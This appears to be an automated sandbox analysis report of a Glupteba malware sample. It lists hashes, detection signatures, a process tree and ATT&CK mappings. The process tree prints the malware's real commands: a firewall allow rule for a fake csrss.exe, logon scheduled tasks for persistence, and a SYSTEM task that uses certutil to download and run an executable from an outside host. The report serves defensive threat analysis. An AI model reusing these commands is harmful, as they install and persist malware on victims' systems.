Analysis
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max time kernel
146s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20240412-en -
resource tags
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submitted
20-04-2024 23:26
General
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Target
73ad8bbb5ddc4d7b0f37415509261b3ea0e82f88d8bd6fd74ac04c5d40b1823a.exe
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Size
4.8MB
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MD5
088a4a71b6c8af5e326c19be7a6b4899
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SHA1
0c4b6b16cfb7b63365e46801491e3723688e2cab
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SHA256
73ad8bbb5ddc4d7b0f37415509261b3ea0e82f88d8bd6fd74ac04c5d40b1823a
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SHA512
6063c31d348dbc13fd80d3cafa53feed2ad333d40cabb3108c7610b37c75814ccb724ea517fd412532e17e49b766704fb07782429b9fc22049da6a93b4533724
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SSDEEP
98304:I3t6CvHWBq+hTB6owxq+wJntth5Bw3LUPUGWxnvT:I3pflOljTnhLILUP2Zv
Malware Config
Signatures
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Glupteba
Glupteba is a modular loader written in Golang with various components.
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Glupteba payload 19 IoCs
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Detects Windows executables referencing non-Windows User-Agents 16 IoCs
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Detects executables containing URLs to raw contents of a Github gist 16 IoCs
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Detects executables referencing many varying, potentially fake Windows User-Agents 16 IoCs
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Modifies Windows Firewall 2 TTPs 1 IoCs
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Executes dropped EXE 2 IoCs
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Adds Run key to start application 2 TTPs 1 IoCs
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Manipulates WinMonFS driver. 1 IoCs
Roottkits write to WinMonFS to hide directories/files from being detected.
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Modifies boot configuration data using bcdedit 1 IoCs
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Drops file in System32 directory 6 IoCs
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Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs
Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.
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Drops file in Windows directory 2 IoCs
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Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Modifies data under HKEY_USERS 64 IoCs
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Modifies system certificate store 2 TTPs 3 IoCs
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Suspicious behavior: EnumeratesProcesses 6 IoCs
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Suspicious use of AdjustPrivilegeToken 3 IoCs
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Suspicious use of WriteProcessMemory 9 IoCs
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Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Users\Admin\AppData\Local\Temp\73ad8bbb5ddc4d7b0f37415509261b3ea0e82f88d8bd6fd74ac04c5d40b1823a.exe"C:\Users\Admin\AppData\Local\Temp\73ad8bbb5ddc4d7b0f37415509261b3ea0e82f88d8bd6fd74ac04c5d40b1823a.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\73ad8bbb5ddc4d7b0f37415509261b3ea0e82f88d8bd6fd74ac04c5d40b1823a.exe"C:\Users\Admin\AppData\Local\Temp\73ad8bbb5ddc4d7b0f37415509261b3ea0e82f88d8bd6fd74ac04c5d40b1823a.exe"2⤵
- Adds Run key to start application
- Checks for VirtualBox DLLs, possible anti-VM trick
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
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C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
- Manipulates WinMonFS driver.
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
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C:\Windows\SYSTEM32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"4⤵
- Executes dropped EXE
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C:\Windows\system32\bcdedit.exeC:\Windows\Sysnative\bcdedit.exe /v4⤵
- Modifies boot configuration data using bcdedit
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Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
1.7MB
MD513aaafe14eb60d6a718230e82c671d57
SHA1e039dd924d12f264521b8e689426fb7ca95a0a7b
SHA256f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3
SHA512ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3
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Filesize
4.8MB
MD5088a4a71b6c8af5e326c19be7a6b4899
SHA10c4b6b16cfb7b63365e46801491e3723688e2cab
SHA25673ad8bbb5ddc4d7b0f37415509261b3ea0e82f88d8bd6fd74ac04c5d40b1823a
SHA5126063c31d348dbc13fd80d3cafa53feed2ad333d40cabb3108c7610b37c75814ccb724ea517fd412532e17e49b766704fb07782429b9fc22049da6a93b4533724
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Filesize
3.7MB
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Filesize
7.0MB
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Filesize
71.3MB
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Filesize
3.7MB
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Filesize
7.0MB
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Filesize
71.3MB
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Filesize
7.0MB
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Filesize
3.7MB
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Filesize
71.3MB
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Filesize
71.3MB
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Filesize
71.3MB
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Filesize
71.3MB
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Filesize
71.3MB
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Filesize
71.3MB
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Filesize
71.3MB
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Filesize
71.3MB
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Filesize
3.7MB
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Filesize
71.3MB
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Filesize
71.3MB
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Filesize
71.3MB
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Filesize
71.3MB
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Filesize
71.3MB
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Filesize
71.3MB
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Filesize
71.3MB